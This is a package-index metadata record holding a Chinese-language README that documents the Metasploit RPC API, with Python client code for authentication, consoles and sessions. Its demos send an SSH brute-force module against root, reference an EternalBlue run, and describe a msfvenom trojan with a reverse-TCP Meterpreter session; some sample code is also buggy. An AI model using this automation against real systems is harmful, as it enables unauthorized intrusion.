{"id":13775276,"url":"https://github.com/dr0op/msfrpcapi","last_synced_at":"2025-05-11T07:32:17.077Z","repository":{"id":48487227,"uuid":"153409693","full_name":"dr0op/MsfRpcApi","owner":"dr0op","description":"MSF RPC API调用文档及demo","archived":false,"fork":false,"pushed_at":"2024-06-18T09:14:59.000Z","size":24,"stargazers_count":53,"open_issues_count":5,"forks_count":17,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-11-17T10:39:41.907Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dr0op.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-10-17T06:55:16.000Z","updated_at":"2024-08-12T19:42:28.000Z","dependencies_parsed_at":"2024-08-03T17:09:52.778Z","dependency_job_id":"1730f663-72c9-4c71-96fe-ca08ae9e70b0","html_url":"https://github.com/dr0op/MsfRpcApi","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dr0op%2FMsfRpcApi","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dr0op%2FMsfRpcApi/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dr0op%2FMsfRpcApi/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dr0op%2FMsfRpcApi/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dr0op","download_url":"https://codeload.github.com/dr0op/MsfRpcApi/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253533932,"owners_count":21923515,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:36.214Z","updated_at":"2025-05-11T07:32:16.714Z","avatar_url":"https://github.com/dr0op.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"f13469c9891173804423be4403b2c4ff\"\u003e\u003c/a\u003epcap"],"sub_categories":["\u003ca id=\"eb49514924c3f4bf2acf6f3a4436af13\"\u003e\u003c/a\u003e未分类"],"readme":"# Metasploit API使用文档\n\nMetasploit官方提供了API调用方式，有\n\n* RPC\n* REST\n\n两种API调用方式，REST方式只支持专业版使用，这里推荐使用RPC方式调用，即标准API调用。\n\n## 使用RPC API调用\n\n在通过对Cobalt Strike2.4版本客户端和`armitage`客户端进行反编译，发现其API调用也为RPC调用。可以认为RPC API调用是\"稳定\"，“可靠”的。\n\n### RPC API 调用官方文档\n\nhttps://metasploit.help.rapid7.com/docs/standard-api-methods-reference\n\n## 开启服务端RPC 服务\n\n开启服务端API服务有两种方式：\n\n1. 通过msfconsole加载msfrpc插件来开启RPC\n2. 通过msfrpcd服务来开启RPC\n\n`msfconsole`其实也可以理解为`metasploit`的`客户端`,和`msfclient`,`armitage`的功能一致。只是操作方式有所不同。\n\n### 通过msfconsole加载RPC\n\n进入`msfconsole`之后，运行加载命令\n\n```shell\nmsf5 \u003e load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf'\n[*] MSGRPC Service:  127.0.0.1:55553\n[*] MSGRPC Username: msf\n[*] MSGRPC Password: msf\n[*] Successfully loaded plugin: msgrpc\nmsf5 \u003e\n```\n\n其中Serverhost即运行msf的主机，可以为`127.0.0.1`也可以是`0.0.0.0`区别是前者只能本机连接。\n\n### 通过msfrpcd来开启RPC服务\n\n```shell\n$ msfrpcd -U msf -P msf -S -f                                                                                                    \n[*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...\n[*] MSGRPC ready at 2018-10-17 11:06:46 +0800.\n```\n\n即以用户名和密码分别为`msf`，`msf`，不启用`SSL`来开启服务。`msfrpcd`和`msfconsole`命令一般在同一目录下。如果环境变量设置正确，一般可以直接使用。\n\n关于msfrpcd的详细参数如下：\n\n```shell\n$ ./msfrpcd -h\n\n   Usage: msfrpcd \u003coptions\u003e\n\n   OPTIONS:\n\n       -P \u003copt\u003e  设置RPC登录密码\n       -S        在RPC socket上禁止使用SSL\n       -U \u003copt\u003e  设置RPC登录用户名\n       -a \u003copt\u003e  绑定一个IP地址（本机IP地址）\n       -f        在后台以精灵进程（守护进程）的方式运行、启动\n       -h        帮助菜单\n       -n        禁止使用数据库\n       -p \u003copt\u003e  绑定某个端口，默认为55553\n       -u \u003copt\u003e  设置Web服务器的URI\n```\n\n## MSF RPC 与msgpack\n\n与msf rpc api通信需要对通信的内容使用`msgpack`进行序列化，简单来说就是将要发送的数据包转换为二进制形式，以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言，可以在msf服务端由ruby正常解析。\n\nPython下安装msgpack包：\n\n```shell\n$ pip install msgpack\n```\n\n```python\n\u003e\u003e\u003e import msgpack\n\u003e\u003e\u003e dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}\n\u003e\u003e\u003e res = msgpack.packb(dic)\n\u003e\u003e\u003e res\n'\\x82\\xa5token\\xda\\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\\xa6result\\xa7success'\n\u003e\u003e\u003e\n\n```\n\n## MSF API请求\n\n在服务端开启RPC之后，可以使用HTTP协议去访问,会提示404，访问'api'会将文件下载下来。如果发生上述效果，表明服务端开启成功。\n\n其实，MSF的RPC调用也利用HTTP协议，需要先连接`RPC socket`然后构造`POST`请求，不同的是，需要指定`Content-type`为`binary/message-pack`，这样客户端才会正确解析包。\n\n### 登录认证API调用\n\n登录认证时向服务端`POST`序列化发送如下数据包:\n\n成功的请求示例\n\n客户：\n\n```json\n[ \"auth.login\", \"MyUserName\", \"MyPassword\"]\n```\n\n服务器：\n\n```json\n{ \"result\" =\u003e \"success\", \"token\" =\u003e \"a1a1a1a1a1a…\" }\n```\n\n这里用一个连接`MSF`服务端并进行登录的简单demo来演示：\n\n```python\n\n# _*_ encoding:utf-8 _*_\n# __author__ = \"dr0op\"\n# python3\n\nimport msgpack\nimport http.client\n\nHOST=\"127.0.0.1\"\nPORT=\"55553\"\nheaders = {\"Content-type\" : \"binary/message-pack\"}\n\n# 连接MSF RPC Socket\nreq = http.client.HTTPConnection(HOST, PORT)\noptions = [\"auth.login\",\"msf\",\"msf\"]\n# 对参数进行序列化（编码）\noptions = msgpack.packb(options)\n# 发送请求，序列化之后的数据包\nreq.request(\"POST\",\"/api/1.0\",body=options,headers=headers)\n# 获取返回\nres = req.getresponse().read()\n# 对返回进行反序列户（解码）\nres = msgpack.unpackb(res)\nres = res[b'token'].decode()\nprint(res)\n```\n\n成功执行的结果`res`如下：\n\n```json\n{'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}\n```\n\n`Token`是一个随机字符串，是登录认证后的标识。\n\n## API详解\n\n以上使用一个简单的例子理解请求的`API`调用数据包格式及请求方式，其他的`API`请求都是同理的。只是请求的内容有所改变而已。\n\n关于常用的API请求和返回总结如下：\n\n#### 认证：\n\n成功的请求示例\n\n客户：\n\n```json\n[ \"auth.login\", \"MyUserName\", \"MyPassword\"]\n```\n\n服务器：\n\n```json\n{ \"result\" =\u003e \"success\", \"token\" =\u003e \"a1a1a1a1a1a…\" }\n```\n\n### 不成功的请求示例\n\n客户：\n\n```json\n[ \"auth.login\", \"MyUserName\", \"BadPassword\"]\n```\n\n服务器：\n\n```json\n{\n\"error\" =\u003e true,\n\"error_class\" =\u003e \"Msf::RPC::Exception\",\n\"error_message\" =\u003e \"Invalid User ID or Password\"\n} \n```\n\n退出同理\n\n\n\n## console.create 创建一个终端\n\n在成功登录之后，就可以使用console.create创建一个终端实例。创建过程需要一定的时间，如果上个创建未完成，下一终端创建返回的dict会提示`busy`项为`True`\n\n客户：\n\n```json\n[ \"console.create\", \"\u003ctoken\u003e\"]\n```\n\n服务器：\n\n```json\n{\n\"id\" =\u003e \"0\",\n\"prompt\" =\u003e \"msf \u003e \",\n\"busy\" =\u003e false\n}\n```\n\n## console.destroy删除一个终端\n\n客户：\n\n```json\n[ \"console.destroy\", \"\u003ctoken\u003e\", \"ConsoleID\"]\n```\n\n服务器：\n\n```json\n{ \"result\" =\u003e \"success\" }\n```\n\n## console.list\n\nconsole.list方法将返回所有现有控制台ID，其状态和提示的哈希值。\n\n客户：\n\n```json\n[ \"console.list\", \"\u003ctoken\u003e\"]\n```\n\n服务器：\n\n```jsno\n{\n\"0\" =\u003e {\n  \"id\" =\u003e \"0\",\n  \"prompt\" =\u003e \"msf exploit(\\x01\\x02\\x01\\x02handler\\x01\\x02) \u003e \",\n  \"busy\" =\u003e false\n  },\n\"1\" =\u003e {\n  \"id\" =\u003e \"1\",\n  \"prompt\" =\u003e \"msf \u003e \",\n  \"busy\" =\u003e true\n  }\n}\n```\n\n## console.write\n\nconsole.write方法将数据发送到创建的终端，就想平时操作msfconsole那样，但需要给不同的命令后加上换行。\n\n客户：\n\n```json\n[ \"console.write\", \"\u003ctoken\u003e\", \"0\", \"version\\n\"]\n```\n\n服务器：\n\n```json\n{ \"wrote\" =\u003e 8 }\n```\n\n##  \n\n## console.read\n\nconsole.read方法将返回发送到终端命令的执行结果。\n\n客户：\n\n```json\n[ \"console.read\", \"\u003ctoken\u003e\", \"0\"]\n```\n\n服务器：\n\n```json\n{\n\"data\" =\u003e \"Framework: 4.0.0-release.14644[..]\\n\",\n\"prompt\" =\u003e \"msf \u003e \",\n\"busy\" =\u003e false\n}\n```\n\n## MsfRpcClient\n\n再使用一个`MSF RPC` Demo来演示一下：\n\n```python\n# _*_ encoding:utf-8 _*_\n# __author__ = \"dr0op\"\n# python3\nimport msgpack\nimport time\nimport http.client\n\nHOST=\"127.0.0.1\"\nPORT=\"55553\"\n\nclass Msfrpc:\n    \n    class MsfError(Exception):\n\t\t\"\"\"\n\t\t异常处理函数\n\t\t\"\"\"\n        def __init__(self, msg):\n            self.msg = msg\n        def __str__(self):\n            return repr(self.msg)\n\n    class MsfAuthError(MsfError):\n        \"\"\"\n        登录异常处理\n        \"\"\"\n        def __init__(self, msg):\n            self.msg = msg\n\n    def __init__(self, opts=[]):\n        self.host = HOST\n        self.port = PORT\n        self.uri = \"/api\"\n        self.ssl = False\n        self.authenticated = False\n        self.token = False\n        self.headers = {\"Content-type\" : \"binary/message-pack\"}\n        if self.ssl:\n            self.cli = http.client.HTTPConnection(self.host,self.port)\n        else:\n            self.cli = http.client.HTTPConnection(self.host, self.port)\n\n    def encode(self, data):\n        \"\"\"\n        序列化数据(编码)\n        \"\"\"\n        return msgpack.packb(data)\n\n    def decode(self, data):\n        \"\"\"\n        反序列化数据（解码）\n        \"\"\"\n        return msgpack.unpackb(data)\n\n    def call(self, meth, opts = []):\n        if meth != \"auth.login\":\n            if not self.authenticated:\n                raise self.MsfAuthError(\"MsfRPC: Not Authenticated\")\n        if meth != \"auth.login\":\n            opts.insert(0,self.token)\n\n        opts.insert(0,meth)\n        params = self.encode(opts)\n        # 发送请求包\n        res = requests.post(self.uri, params,self.headers)\n        resp = self.cli.getresponse()\n\t\t# 获取结果并解码\n        return self.decode(resp.read())\n\n    def login(self, user, password):\n        \"\"\"\n        登录认证函数\n        \"\"\"\n        ret = self.call('auth.login', [user,password])\n        if ret.get('result') == 'success':\n            self.authenticated = True\n            self.token = ret.get('token')\n            return True\n\n        else:\n            raise self.MsfAuthError(\"MsfRPC: Authentication failed\")\n\n\nif __name__ == '__main__':\n\n    # 创建一个新的默认配置的客户端实例\n    client = Msfrpc({})\n    # 使用密码abc123登录msf\n    client.login('msf','msf')\n    try:\n        res = client.call('console.create')\n        console_id = res['id']\n    except:\n        print (\"Console create failed\\r\\n\")\n        sys.exit()\n    # 要发送给终端的命令\n    cmd = \"\"\"\n \t\t use auxiliary/scanner/ssh/ssh_login\n\n         set RHOSTS 127.0.0.1\n        \n         set USERNAME root\n         \n         set PASS_FILE /tmp/pass.txt\n        \n         exploit\n\n        \"\"\"\n    client.call('console.write',[console_id,cmd])\n    time.sleep(1)\n    while True:\n        # 发送命令并获取结果\n        res = client.call('console.read',[console_id])\n        if len(res['data']) \u003e 1:\n                print (res['data'])\n        if res['busy'] == True:\n                time.sleep(1)\n                continue\n        break\n\n    client.call('console.destroy',[console_id])\n\n```\n\n在这个例子中，调用MSF RPC登录获取`Token`之后，创建一个`console`，并发送命令到`console，由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict，包含了返回后的结果。\n\n## 对API进行封装\n\n以上是一个基础的MSF API简单调用模块去攻击的demo，但是在应用中，需要对其常见的API调用进行封装，做成一个属于我们自己的`库`，使用时，只需要去调用它即可。\n\n简单的封装如下：\n\n```python\nimport msgpack\nimport http.client as request\n\n\nclass AuthError(Exception):\n    \"\"\"\n    登录认证错误异常处理\n    \"\"\"\n    def __init__(self):\n        print(\"登录失败，检查账户密码\")\n\n\n\nclass ConnectionError(Exception):\n    \"\"\"\n    链接msfrpc错误异常处理\n    \"\"\"\n    def __init__(self):\n        print(\"连接失败，服务端或网络问题\")\n\n\nclass Client(object):\n    \"\"\"\n    MsfRPC Client客户端，发送处理命令行参数\n    \"\"\"\n    def __init__(self,ip,port,user,passwd):\n        # 属性\n        self.user = user\n        self.passwd = passwd\n        self.server = ip\n        self.port = port\n        self.headers = {\"Content-Type\": \"binary/message-pack\"}\n        self.client = request.HTTPConnection(self.server,self.port)\n        self.auth()\n\n\n    #装饰器对属性读写前的处理\n    @property\n    def headers(self):\n        return self._headers\n\n    @headers.setter\n    def headers(self,value):\n        self._headers = value\n\n    @property\n    def options(self):\n        return self._options\n\n    @options.setter\n    def options(self,value):\n        #将数据打包为通用模式\n        self._options = msgpack.packb(value)\n\n    @property\n    def token(self):\n        return self._token\n\n    @token.setter\n    def token(self,value):\n        self._token = value\n\n    def auth(self):\n        \"\"\"\n        登录认证函数\n        :return 一串随机的token值:\n        \"\"\"\n        print(\"Attempting to access token\")\n        self.options = [\"auth.login\",self.user,self.passwd]\n        try:\n            self.client.request(\"POST\",\"/api\",body=self.options,headers=self.headers)\n        except:\n            ConnectionError()\n        c = self.client.getresponse()\n        if c.status != 200:\n           raise ConnectionError()\n        else:\n            res = msgpack.unpackb(c.read())\n            print(res)\n            if b'error' not in res.keys() and res[b'result'] == b'success':\n                self.token = res[b'token']\n                print(\"Token recived:\u003e %s\",self.token)\n            else:\n                raise AuthError()\n\n    def send_command(self,options):\n        self.options = options\n        self.client.request(\"POST\",\"/api\",body=self.options,headers=self.headers)\n        c = self.client.getresponse()\n        if c.status != 200:\n            raise ConnectionError()\n        else:\n            res = msgpack.unpackb(c.read())\n            return res\n\n\n    def get_version(self):\n        \"\"\"\n        获取msf和ruby的版本信息\n        :return ruby 和 msf vresion:\n        \"\"\"\n        res = self.send_command([\"core.version\",self.token])\n        return res\n\n    def create_console(self):\n        \"\"\"\n        创建一个虚拟终端\n        :return :\n        \"\"\"\n        res = self.send_command([\"console.create\",self.token])\n        return res\n\n    def destroy_console(self,console_id):\n        \"\"\"\n        销毁一个终端\n        :param console_id 终端id:\n        :return:\n        \"\"\"\n        #console_id = str(console_id)\n        res = self.send_command([\"console.destroy\",self.token,console_id])\n        return res\n\n    def list_consoles(self):\n        \"\"\"\n        获取一个已获取的终端列表，【id,prompt,busy】\n        :return list[id,prompt,busy]:\n        \"\"\"\n        res = self.send_command([\"console.list\",self.token])\n        return res\n\n    def write_console(self,console_id,data,process=True):\n        \"\"\"\n        向终端中写命令\n        :param console_id: id\n        :param data:要发送到终端的命令\n        :param process:\n        :return:\n        \"\"\"\n        if process == True:\n            data +=\"\\n\"\n        str(console_id)\n        res = self.send_command([\"console.write\",self.token,console_id,data])\n        return res\n\n    def read_console(self,console_id):\n        \"\"\"\n        获取发送命令后终端的执行结果\n        :param console_id:\n        :return:\n        \"\"\"\n        str(console_id)\n        res = self.send_command([\"console.read\",self.token,console_id])\n        return res\n\n    def list_sessions(self):\n        \"\"\"\n        列出所有session信息\n        :return:\n        \"\"\"\n        res = self.send_command([\"session.list\",self.token])\n        return res\n\n    def stop_session(self,ses_id):\n        \"\"\"\n        停止一个session\n        :param ses_id:\n        :return:\n        \"\"\"\n        str(ses_id)\n        res = self.send_command([\"session.stop\",self.token,ses_id])\n        return res\n\n    def read_shell(self,ses_id,read_ptr=0):\n        \"\"\"\n        获取session执行shell信息\n        :param ses_id:\n        :param read_ptr:\n        :return:\n        \"\"\"\n        str(ses_id)\n        res = self.send_command([\"session.shell_read\",self.token,ses_id,read_ptr])\n        return res\n\n    def write_shell(self,ses_id,data,process=True):\n        \"\"\"\n        向一个shell发送命令\n        :param ses_id:\n        :param data:\n        :param process:\n        :return:\n        \"\"\"\n        if process == True:\n            data += \"\\n\"\n        str(ses_id)\n        res = self.send_command([\"session.shell_write\",self.token,ses_id,data])\n        return res\n\n    def write_meterpreter(self,ses_id,data):\n        \"\"\"\n        向meterpreter发送命令\n        :param ses_id:\n        :param data:\n        :return:\n        \"\"\"\n        str(ses_id)\n        res = self.send_command([\"session.meterperter_write\",self.token,ses_id,data])\n        return res\n\n    def read_meterpreter(self,ses_id):\n        \"\"\"\n        读取meterpreter信息\n        :param ses_id:\n        :return:\n        \"\"\"\n        str(ses_id)\n        res = self.send_command([\"session.meterperter_read\",self.token,ses_id])\n        return res\n\n    def run_module(self,_type,name,HOST,PORT,payload=False):\n        \"\"\"\n        执行模块\n        :param _type:\n        :param name:\n        :param HOST:\n        :param PORT:\n        :param payload:\n        :return:\n        \"\"\"\n        if payload != False:\n            d = [\"module.execute\",self.token,_type,name,{\"LHOST\":HOST,\"LPOST\":PORT}]\n        else:\n            d = [\"module.execute\",self.token,_type,name,{\"RHOST\":HOST,\"RHOST\":PORT}]\n        res = self.send_command(d)\n        return res\n\n\n# if __name__ == \"__main__\":\n#     auth = Client(\"127.0.0.1\",\"msf\",\"yFdkc6fB\")\n#     print(auth.get_version())\n#     print(auth.list_consoles())\n#     print(auth.create_console())\n#     print(auth.read_console(1))\n#     print(auth.write_console(1,\"ls\"))\n#     print(auth.destroy_console(1))\n#     print(auth.list_sessions())\n#     print(auth.run_module(\"exploit\",\"ms17_010_eternalblue\",\"1.1.1.1\",\"1\"))\n\n```\n\n使用这个库去调用攻击模块：\n\n```python\n# _*_ encoding:utf-8 _*_\n# __author__ = \"dr0op\"\n\nfrom pymsfrpc import msfrpc\nimport time\n\nip = \"10.10.11.180\"\nport = \"55553\"\nuser = \"msf\"\npasswd = \"msf\"\nc = msfrpc.Client(ip,port,user,passwd)\n\nconsole_id = c.create_console().get(b'id')\ncmd = \"\"\"\n         use auxiliary/scanner/ssh/ssh_login\n\n         set RHOSTS 127.0.0.1\n        \n         set USERNAME root\n         \n         set PASS_FILE /tmp/pass.txt\n        \n         exploit\n      \"\"\"\nres = c.get_version()\nresp = c.write_console(console_id,cmd)\ntime.sleep(1)\nwhile True:\n    res = c.read_console(console_id)\n    if res[b'busy'] == True:\n        time.sleep(1)\n        continue\n    elif res[b'busy'] == False:\n        print(res[b'data'].decode())\n        break\nc.destroy_console(console_id)\n```\n\n以上封装改自github开源代码msf-autopwn\n\nhttps://github.com/DanMcInerney/msf-autopwn\n\n有所改动。\n\n## 更全面的封装\n\n更全面的封装可参考\n\nhttps://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py\n\n要在较成熟系统上使用可参考，使用GPL0.4开源协议。\n\n## 存在的问题及解决方案\n\n#### 1. 反序列化后的格式问题\n\n在`Python3`版本测试过程中，发现对返回数据进行反序列化之后，出现类似：\n\n```\n{b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'}\n```\n\n这种格式的dict，这表示dict的内容即keys和values是`bytes`类型的。这给我们的后续操作带来很大的不便，在判断时需要将其转化为`str`类型。要转化，只需要将其项`decode（）`即可。然而，dict并不支持decode，需要遍历其中的项并进行转化。\n\n转换方法现提供如下：\n\n```Python\ndef convert(data):\n    \"\"\"\n    对Bytes类型的dict进行转化，转化为项为Str类型\n    \"\"\"\n    if isinstance(data, bytes):  return data.decode('ascii')\n    if isinstance(data, dict):   return dict(map(convert, data.items()))\n    if isinstance(data, tuple):  return map(convert, data)\n    return data\n\n```\n\n#### 2. meterpreter无法获取session问题\n\n使用`msfvenom`生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用`session.list`成功获取session列表。返回结果如下：\n\n```json\n{14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}}\n```\n\nsession ID为14。\n\n成功获取session列表后，就可以向session读写meterpreter命令。\n\n```python\nc.write_meterpreter(14,'getuid\\n')\n```\n\n```\nc.read_meterpreter(14)\n```\n\n然而，MSF RPC端返回如下：\n\n```json\nwrite meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \\'\"rpc_meterperter_write\"\\'', b'error_backtrace': [b\"lib/msf/core/rpc/v10/service.rb:143:in `process'\", b\"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'\", b\"lib/msf/core/rpc/v10/service.rb:72:in `block in start'\", b\"lib/rex/proto/http/handler/proc.rb:38:in `on_request'\", b\"lib/rex/proto/http/server.rb:368:in `dispatch_request'\", b\"lib/rex/proto/http/server.rb:302:in `on_client_data'\", b\"lib/rex/proto/http/server.rb:161:in `block in start'\", b\"lib/rex/io/stream_server.rb:48:in `on_client_data'\", b\"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'\", b\"lib/rex/io/stream_server.rb:197:in `each'\", b\"lib/rex/io/stream_server.rb:197:in `monitor_clients'\", b\"lib/rex/io/stream_server.rb:73:in `block in start'\", b\"lib/rex/thread_factory.rb:22:in `block in spawn'\", b\"lib/msf/core/thread_manager.rb:100:in `block in spawn'\"], b'error_message': b'Unknown API Call: \\'\"rpc_meterperter_write\"\\''}\n\n```\n\n```python\nread meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \\'\"rpc_meterperter_read\"\\'', b'error_backtrace': [b\"lib/msf/core/rpc/v10/service.rb:143:in `process'\", b\"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'\", b\"lib/msf/core/rpc/v10/service.rb:72:in `block in start'\", b\"lib/rex/proto/http/handler/proc.rb:38:in `on_request'\", b\"lib/rex/proto/http/server.rb:368:in `dispatch_request'\", b\"lib/rex/proto/http/server.rb:302:in `on_client_data'\", b\"lib/rex/proto/http/server.rb:161:in `block in start'\", b\"lib/rex/io/stream_server.rb:48:in `on_client_data'\", b\"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'\", b\"lib/rex/io/stream_server.rb:197:in `each'\", b\"lib/rex/io/stream_server.rb:197:in `monitor_clients'\", b\"lib/rex/io/stream_server.rb:73:in `block in start'\", b\"lib/rex/thread_factory.rb:22:in `block in spawn'\", b\"lib/msf/core/thread_manager.rb:100:in `block in spawn'\"], b'error_message': b'Unknown API Call: \\'\"rpc_meterperter_read\"\\''}\n```\n\n暂未找到解决方案。\n\n# 总结\n\n该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同，相同的代码在不同的环境中可能无法运行，需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdr0op%2Fmsfrpcapi","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdr0op%2Fmsfrpcapi","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdr0op%2Fmsfrpcapi/lists"}